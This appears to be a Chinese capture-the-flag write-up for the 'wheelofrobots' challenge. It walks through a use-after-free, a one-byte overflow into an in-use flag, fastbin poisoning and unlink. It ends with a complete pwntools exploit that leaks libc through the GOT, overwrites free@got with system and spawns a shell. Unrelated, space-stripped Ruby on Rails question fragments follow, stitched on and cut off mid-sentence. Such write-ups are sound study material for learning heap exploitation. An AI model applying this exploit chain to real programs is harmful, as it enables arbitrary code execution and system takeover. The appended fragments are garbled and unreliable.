题目地址:wheelofrobots
程序保护:

main程序如下图。进入程序后,先显示菜单,然后用户输入,根据选项调用相应的功能函数。

菜单函数如下图,该程序主要有四个功能:添加、删除、修改、输出。

选项读取函数如下,使用read()向a1处读入len长度,然后调用atoi将其转化为数字。

程序一共有6个机器人可供选择,用数字1,2,3,4,5,6来选择,根据用户选择执行相应的添加流程。总共添加的机器人轮子数不超过2,即最多添加3个机器人。
机器人1 Tinny的分配即case 1部分:判断是否使用-->申请大小为20块,将地址保存在tinny-->tinny_inuse置1-->往块中写入默认内容-->轮子数+1

机器人2 Bender的添加代码如下图。与1 tinny相比可以控制申请块的大小,并将大小变量保存在bender_size全局变量中。

机器人3 Devil与2一样,但可以分配更大的内存块。

机器人4 Chain与机器人5 Ire一样,只能申请固定大小块。

机器人6 Destructor也是与前面一样的操作。

移除的操作每个机器人都一样,以机器人1为例。这里机器人移除后指针没有置NULL!

修改操作每个机器人都一样,只是可写入的块大小不同,以机器人1,2为例。

此功能实际为打印,函数sub_400CA0(char *p)包含一个printf打印,可以将p指向的内容打印出来,这里p为各机器人块地址。但switch中的sub_4051BD()结果是随机的,且打印完后会执行exit(1)程序会直接退出。
int start_robot()
{
if ( (unsigned __int64)robot_wheel_cnt > 2 ) //要求轮子数为2
{
switch ( (unsigned int)sub_4015BD(6LL) ) //结果具有随机性
{
case 1u:
if ( !bender_inuse )
goto LABEL_6;
sub_400CA0(tinny); // 打印tinny指针指向的内容
break;
case 2u:
LABEL_6:
if ( !bender_inuse )
goto LABEL_8;
sub_400B20((__int64)"Are you kidding me!!!");
break;
case 3u:
LABEL_8:
if ( !devil_inuse )
goto LABEL_10;
sub_400CA0(devil);
break;
case 4u:
LABEL_10:
if ( !chain_inuse )
goto LABEL_12;
sub_400CA0((char *)chain);
break;
case 5u:
LABEL_12:
if ( !ire_inuse )
goto LABEL_14;
sub_400CA0((char *)ire);
break;
case 6u:
LABEL_14:
if ( !destructor_inuse )
goto LABEL_16;
sub_400CA0((char *)destructor);
break;
default:
LABEL_16:
sub_400BE5(" AH AH AH Welcome in Robot Hell!! ");
break;
}
exit(1); // 打印完后直接退出
}
return puts("Filling the wheel first!");
}
可以看到依次存储的是:各机器人块地址-->用户选择-->各机器人使用状态-->轮子数-->各机器人块大小
.bss:00000000006030E0 chain dq ? ; DATA XREF: add+28F↑w
.bss:00000000006030E0 ; add+296↑r ...
.bss:00000000006030E8 ; void *destructor
.bss:00000000006030E8 destructor dq ? ; DATA XREF: add+3A0↑w
.bss:00000000006030E8 ; add+3BB↑r ...
.bss:00000000006030F0 ; void *bender
.bss:00000000006030F0 bender dq ? ; DATA XREF: add+162↑w
.bss:00000000006030F0 ; add+17D↑r ...
.bss:00000000006030F8 ; char *tinny
.bss:00000000006030F8 tinny dq ? ; DATA XREF: add+A6↑w
.bss:00000000006030F8 ; add+B7↑r ...
.bss:0000000000603100 ; char *devil
.bss:0000000000603100 devil dq ? ; DATA XREF: add+225↑w
.bss:0000000000603100 ; add+240↑r ...
.bss:0000000000603108 ; void *ire
.bss:0000000000603108 ire dq ? ; DATA XREF: add+2F3↑w
.bss:0000000000603108 ; add+2FA↑r ...
.bss:0000000000603110 ; char *choice
.bss:0000000000603110 choice db ? ; ; DATA XREF: add+3A↑o
.bss:0000000000603110 ; add+49↑o ...
.bss:0000000000603111 db ? ;
.bss:0000000000603112 db ? ;
.bss:0000000000603113 db ? ;
.bss:0000000000603114 ; int bender_inuse
.bss:0000000000603114 bender_inuse dd ? ; DATA XREF: add:loc_400EE0↑r
.bss:0000000000603114 ; add+173↑w ...
.bss:0000000000603118 ; int chain_inuse
.bss:0000000000603118 chain_inuse dd ? ; DATA XREF: add:loc_40106A↑r
.bss:0000000000603118 ; add+2B5↑w ...
.bss:000000000060311C ; int destructor_inuse
.bss:000000000060311C destructor_inuse dd ? ; DATA XREF: add:loc_401135↑r
.bss:000000000060311C ; add+3B1↑w ...
.bss:0000000000603120 ; int tinny_inuse
.bss:0000000000603120 tinny_inuse dd ? ; DATA XREF: add:loc_400E81↑r
.bss:0000000000603120 ; add+AD↑w ...
.bss:0000000000603124 ; int devil_inuse
.bss:0000000000603124 devil_inuse dd ? ; DATA XREF: add:loc_400FA3↑r
.bss:0000000000603124 ; add+236↑w ...
.bss:0000000000603128 ; int ire_inuse
.bss:0000000000603128 ire_inuse dd ? ; DATA XREF: add:loc_4010CE↑r
.bss:0000000000603128 ; add+31C↑w ...
.bss:000000000060312C align 10h
.bss:0000000000603130 ; __int64 robot_wheel_cnt
.bss:0000000000603130 robot_wheel_cnt dq ? ; DATA XREF: add+56↑r
.bss:0000000000603130 ; add+D1↑r ...
.bss:0000000000603138 ; __int64 bender_size
.bss:0000000000603138 bender_size dq ? ; DATA XREF: add+16C↑w
.bss:0000000000603138 ; change+AC↑r
.bss:0000000000603140 ; __int64 devil_size
.bss:0000000000603140 devil_size dq ? ; DATA XREF: add+22F↑w
.bss:0000000000603140 ; change+F5↑r
.bss:0000000000603148 ; __int64 destructor_size
.bss:0000000000603148 destructor_size dq ? ; DATA XREF: add+3AA↑w
.bss:0000000000603148 ; change+19C↑r
从后向前介绍思路,最终要执行system("/bin/sh"),需要泄露某个函数地址,获得动态链接库加载基址。程序中start_robot功能中的输出可以被利用来泄露函数地址,但这里输出的内容为机器人指针指向的内容,所以我们应该想办法将机器人指针修改为某函数GOT地址,从而泄露该函数实际地址。
为了修改机器人(chunk)指针内容,可以使用unlink,这就需要构造fake_chunk并溢出数据覆盖下一个chunk的header。这里有3个块的大小由变量决定,若能篡改其中一个块的size,则可以达到上面的目的。

在前面的分析中发现,机器人指针free后没有置NULL,我们还可以继续往对应地址写入内容。我们可以利用fastbin机制漏洞,将chunk分配到0x603138处,进而可以向0x603148(destructor_size)处写值,控制destructor chunk大小,实现unlink。
分配chunk到0x603138后
0x603138 pre_size //bender_size
0x603140 size //devil_size
0x603148 userdata //destructor_size
fastbin漏洞原理
fastbin链表使用的是单链表,设初始申请大小为0x20的chunk0,地址为chunk0_ptr,再释放,这时链表指向:fastbin[0]=>chunk0_ptr
若有个地址fake_ptr,我们可以控制fake_ptr+0x08处的值为0x21(与上面块大小相同),这时我们向chunk0写入fake_ptr(利用分配时得到的指针),这时chunk0的fd就会变成fake_ptr,链表指向:fastbin[0]=>chunk0_ptr=>fake_ptr
这时我们再分配大小为0x20的块,就会把chunk0重新分配出来,这时链表指向:fastbin[0]=>fake_ptr
然后我们再分配大小为0x20的块,就会得到一个地址为fake_ptr的chunk,进而可以往fake_ptr+0x10处写入数据。
P.S. 之所以要求fake_ptr+0x08处值为0x21是因为fastbin在分配时会进行检查块大小是否正确(同一个链里块大小相同)
为了实现将chunk分配到0x603138处,需要满足两个条件:
0x603140位置可修改(即期望得到的chunk的size字段)为期望大小第2个条件很容易满足,因为0x603140位置为devil_size位置,我们可以在申请devil机器人时设置它的大小,其大小约束(<=0x63)满足我们的需求。
第1个条件,程序在释放chunk后没有对指针置空,所以依然可以利用该指针访问chunk,但是修改功能会对机器人inuse标志进行判断,所以我们需要能控制inuse的值。


要篡改inuse的值就要用到程序中存在的一个off by one漏洞了。
如图所示,在添加机器人时,允许输入5个字节到choice。

而choice只有4个字节,多出的1个字节会写到bender_inuse里,进而我们就可以控制bender_inuse的标志!

而bender的大小(20*v7, v7<=4)也满足我们的要求,因此我们可以利用bender基于fastbin机制漏洞将chunk分到我们指定的区域。
总结
1.利用off by one控制bender_inuse,分配devil大小为0x21,利用bender基于fastbin漏洞基址将地址为0x603038的chunk分配给tinny
2.删除bender,devil块,分配destructor和devil,其中devil块范围要超过fastbin,为unlink做准备
3.利用步骤1分配的chunk修改destructor_size,构造payload写入destructor并溢出到devil的header
4.free(devil)实现unlink,构造payload实现任意地址写
5.修改机器人指针为某函数地址,将exit@got改为ret地址(防止输出后退出程序),利用start_robots泄露函数地址
6.计算动态链接库基址,计算system地址值,将free@got改为system地址,将destructor指向binsh字符串,然后调用delete函数,原意释放destructor变为执行system("/bin/sh"),得到shell.
利用代码如下:
from pwn import *
p = process('./wheelofrobots')
#context.log_level = 'debug'
def add(robot, size=0):
p.sendlineafter('choice : ','1')
p.sendlineafter('choice :', str(robot))
if(robot==2):
p.sendlineafter('intelligence: ', str(size))
elif(robot==3):
p.sendlineafter('cruelty: ', str(size))
elif(robot==6):
p.sendlineafter('powerful: ', str(size))
def remove(robot):
p.sendlineafter('choice : ', '2')
p.sendlineafter('choice :', str(robot))
def change(robot,content):
p.sendlineafter('choice : ', '3')
p.sendlineafter('choice :', str(robot))
p.sendafter('name: ', content)
def start_robot():
p.sendlineafter('choice : ', '4')
def ch_bender_inuse(bit):
p.sendlineafter('choice : ','1')
p.sendlineafter('choice :', '9999'+bit)
def write(where, what):
change(1, p64(where))
change(6, p64(what))
#gdb.attach(p)
# 分配bender再释放,使得fastbin[0]指向bender_ptr
add(2,1)
remove(2)
# 为修改bender->fd,利用off by one修改bender_inuse标志为使用
ch_bender_inuse('\x01')
# 将bender->fd设为0x603138
change(2, p64(0x603138))
# 将bender_inuse还原为未使用,fastbin[0]==>bender_ptr==>0x603138
ch_bender_inuse('\x00')
#将bender_ptr重新分配出来,fastbin[0]==>0x603138
add(2,1)
#将0x603140(devil_size)设置为0x21,因fastbin分配时会验证大小
add(3,0x21)
#将0x603138地址开始的chunk分配给tinny(1)
add(1)
# 因最多分配3个,移除多余的
remove(2)
remove(3)
# 分配两个chunk用来实现unlink
add(6,3) #destructor,用于溢出,实际数据大小为0x40(3*20=60,再加上对齐)
add(3,7) #devil
# 向1块用户空间(0x603148--destructor_size)写入内容,即修改destructor_size为0x80
change(1,p64(0x80))
# 构造payload unlink
target = 0x6030E8 #destructor指针地址
fd = target - 0x18
bk = target - 0x10
# 构造fake_chunk
payload = p64(0) + p64(0x31) + p64(fd) + p64(bk) + b'a'*0x10 + p64(0x30) + b'a'*8
# 修改devil chunk header
payload += p64(0x40) + p64(0xa0)
# 写入destructor并溢出
change(6,payload)
# unlink,使destructor[0]=&destructor-0x18
remove(3)
# 构造payload写入destructor即0x6030D0,使tinny指向destructor
# 进而可以通过控制tinny修改destructor的指向,通过destructor修改其指向位置的内容,实现任意写
payload = p64(0)*2 + b'a'*0x18 + p64(0x6030e8)
change(6,payload)
#.bss:00000000006030D0 stdin dq ? 0
#.bss:00000000006030D8 byte_6030D8 db ? 0
#.bss:00000000006030E0 chain dq ? 'aaaaaaaa'
#.bss:00000000006030E8 destructor dq ? 'aaaaaaaa'
#.bss:00000000006030F0 bender dq ? 'aaaaaaaa'
#.bss:00000000006030F8 tinny dq ? 0x006030E8
#.bss:0000000000603100 devil dq ?
libc = ELF('./libc-2.23.so')
elf = ELF('./wheelofrobots')
# patch exit为return指令,防止输出地址后exit(1)退出
write(elf.got['exit'], 0x401954)
puts_got = elf.got['puts']
# .bss:0000000000603130 robot_wheel_cnt dq ?
# 修改robot_wheel_cnt值为3,使start_robot()可以输出
write(0x603130, 3)
# 修改tinny指向(destructor)值为puts@got地址
change(1,p64(elf.got['puts']))
# 输出destructor指向(puts@got)的内容,即puts的实际地址
start_robot()
p.recvuntil('great!! Thx ')
leak = p.recvuntil('!\n')[:-2]
leak_puts = u64(leak.ljust(8,b'\x00'))
log.success('leak puts addr: ' + hex(leak_puts))
# 计算动态链接库加载基址,及system函数地址
libc_base = leak_puts - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
log.success('/bin/sh addr: ' + hex(binsh_addr))
# 将free@got值改为system函数地址
write(elf.got['free'], sys_addr)
# 将destructor设为"/bin/sh"字符串地址
change(1,p64(binsh_addr))
# free(destructor)==>system("/bin/sh")
remove(6)
p.interactive()
执行结果

我正在尝试测试是否存在表单。我是Rails新手。我的new.html.erb_spec.rb文件的内容是:require'spec_helper'describe"messages/new.html.erb"doit"shouldrendertheform"dorender'/messages/new.html.erb'reponse.shouldhave_form_putting_to(@message)with_submit_buttonendendView本身,new.html.erb,有代码:当我运行rspec时,它失败了:1)messages/new.html.erbshou
我在我的项目目录中完成了compasscreate.和compassinitrails。几个问题:我已将我的.sass文件放在public/stylesheets中。这是放置它们的正确位置吗?当我运行compasswatch时,它不会自动编译这些.sass文件。我必须手动指定文件:compasswatchpublic/stylesheets/myfile.sass等。如何让它自动运行?文件ie.css、print.css和screen.css已放在stylesheets/compiled。如何在编译后不让它们重新出现的情况下删除它们?我自己编译的.sass文件编译成compiled/t
我在我的项目中添加了一个系统来重置用户密码并通过电子邮件将密码发送给他,以防他忘记密码。昨天它运行良好(当我实现它时)。当我今天尝试启动服务器时,出现以下错误。=>BootingWEBrick=>Rails3.2.1applicationstartingindevelopmentonhttp://0.0.0.0:3000=>Callwith-dtodetach=>Ctrl-CtoshutdownserverExiting/Users/vinayshenoy/.rvm/gems/ruby-1.9.3-p0/gems/actionmailer-3.2.1/lib/action_mailer
在MRIRuby中我可以这样做:deftransferinternal_server=self.init_serverpid=forkdointernal_server.runend#Maketheserverprocessrunindependently.Process.detach(pid)internal_client=self.init_client#Dootherstuffwithconnectingtointernal_server...internal_client.post('somedata')ensure#KillserverProcess.kill('KILL',
我已经从我的命令行中获得了一切,所以我可以运行rubymyfile并且它可以正常工作。但是当我尝试从sublime中运行它时,我得到了undefinedmethod`require_relative'formain:Object有人知道我的sublime设置中缺少什么吗?我正在使用OSX并安装了rvm。 最佳答案 或者,您可以只使用“require”,它应该可以正常工作。我认为“require_relative”仅适用于ruby1.9+ 关于ruby-主要:Objectwhenrun
我花了三天的时间用头撞墙,试图弄清楚为什么简单的“rake”不能通过我的规范文件。如果您遇到这种情况:任何文件夹路径中都不要有空格!。严重地。事实上,从现在开始,您命名的任何内容都没有空格。这是我的控制台输出:(在/Users/*****/Desktop/LearningRuby/learn_ruby)$rake/Users/*******/Desktop/LearningRuby/learn_ruby/00_hello/hello_spec.rb:116:in`require':cannotloadsuchfile--hello(LoadError) 最佳
我已经像这样安装了一个新的Rails项目:$railsnewsite它执行并到达:bundleinstall但是当它似乎尝试安装依赖项时我得到了这个错误Gem::Ext::BuildError:ERROR:Failedtobuildgemnativeextension./System/Library/Frameworks/Ruby.framework/Versions/2.0/usr/bin/rubyextconf.rbcheckingforlibkern/OSAtomic.h...yescreatingMakefilemake"DESTDIR="cleanmake"DESTDIR="
关闭。这个问题需要detailsorclarity.它目前不接受答案。想改进这个问题吗?通过editingthispost添加细节并澄清问题.关闭8年前。Improvethisquestion在首页我有:汽车:VolvoSaabMercedesAudistatic_pages_spec.rb中的测试代码:it"shouldhavetherightselect"dovisithome_pathit{shouldhave_select('cars',:options=>['volvo','saab','mercedes','audi'])}end响应是rspec./spec/request
似乎无法为此找到有效的答案。我正在阅读Rails教程的第10章第10.1.2节,但似乎无法使邮件程序预览正常工作。我发现处理错误的所有答案都与教程的不同部分相关,我假设我犯的错误正盯着我的脸。我已经完成并将教程中的代码复制/粘贴到相关文件中,但到目前为止,我还看不出我输入的内容与教程中的内容有什么区别。到目前为止,建议是在函数定义中添加或删除参数user,但这并没有解决问题。触发错误的url是http://localhost:3000/rails/mailers/user_mailer/account_activation.http://localhost:3000/rails/mai
如何使此根路径转到:“/dashboard”而不仅仅是http://example.com?root:to=>'dashboard#index',:constraints=>lambda{|req|!req.session[:user_id].blank?} 最佳答案 您可以通过以下方式实现:root:to=>redirect('/dashboard')match'/dashboard',:to=>"dashboard#index",:constraints=>lambda{|req|!req.session[:user_id].b